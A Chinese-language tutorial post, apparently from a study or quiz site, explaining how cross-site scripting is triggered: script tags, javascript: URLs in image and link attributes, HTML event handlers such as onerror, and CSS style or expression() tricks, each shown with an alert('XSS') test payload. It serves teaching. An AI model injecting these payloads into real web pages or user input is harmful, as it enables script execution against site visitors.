image

编辑人: 沉寂于曾经

calendar2025-06-15

message2

visits348

XSS的触发机制是什么?

直接触发

  • 在HTML页中插入<script></script>脚本标记。JS嵌入到HTML中的两种方式:
  • 1)直接嵌入<script>标签

<script language="javascript">

document.write("hello world!");

</script>

  • 2)在外部以js文件的形式嵌入

<script language="javascript" src="test.js">

</script>

利用HTML标签属性触发

  • 利用HTML标签中能够访问文件的属性来执行JS代码。JS中包含一个URL伪协议,可以使用javascript:加上任意JS代码来表示一个URL,浏览器装载此URL时,JS被执行。包括:src、href、dynsrc、longdesc、lowsrc等属性。

< img src="javascript:alert('XSS')" />

< img dynsrc="javascript:alert('XSS')" />

< img longdesc="javascript:alert('XSS')" />

< input src="javascript:alert('XSS')" />

< embed src="javascript:alert('XSS')" />

< a href="javascript:alert('XSS')" ></a>

利用HTM事件触发

  • HTML标签中定义了一系列事件,如:鼠标、键盘事件触发的事件,当满足一定条件时事件被触发,JS代码被执行。如<img>标签中的onError事件,当图片载入失败时, onError被触发,JS代码被执行。

<img src="#" onerror="alert('XSS')" />

<img onClick ="alert('XSS')" />

<img onDblClick ="alert('XSS')" />

<img onMouseDown ="alert('XSS')" />

<img onMouseMove ="alert('XSS')" />

<img onMouseUp ="alert('XSS')" />

<body onError="alert('XSS')" /></body>

利用CSS触发

CSS嵌入HTML中的三种方式:

1)以.css文件的形式:

<link href="test.css" rel="stylesheet" type="text/css"/>

2)以<style></style>标签的方式:

< style type="text/javascript">alert('XSS');</ style >

3)在标签中以style属性的方式。

<a style ="background-image: url(javascript:alert('XSS'))"> </a>

IE支持在CSS中使用expression,用来把CSS和JS结合起来,即CSS后跟一段JS代码,CSS属性的值等于JS代码的执行结果:

<style>

h1{color:#CCC;height:expression(alert('xss'));}

</style>

<h1></h1>



喵呜刷题:让学习像火箭一样快速,快来微信扫码,体验免费刷题服务,开启你的学习加速器!

创作类型:
原创

本文链接:XSS的触发机制是什么?

版权声明:本站点所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明文章出处。
分享文章
share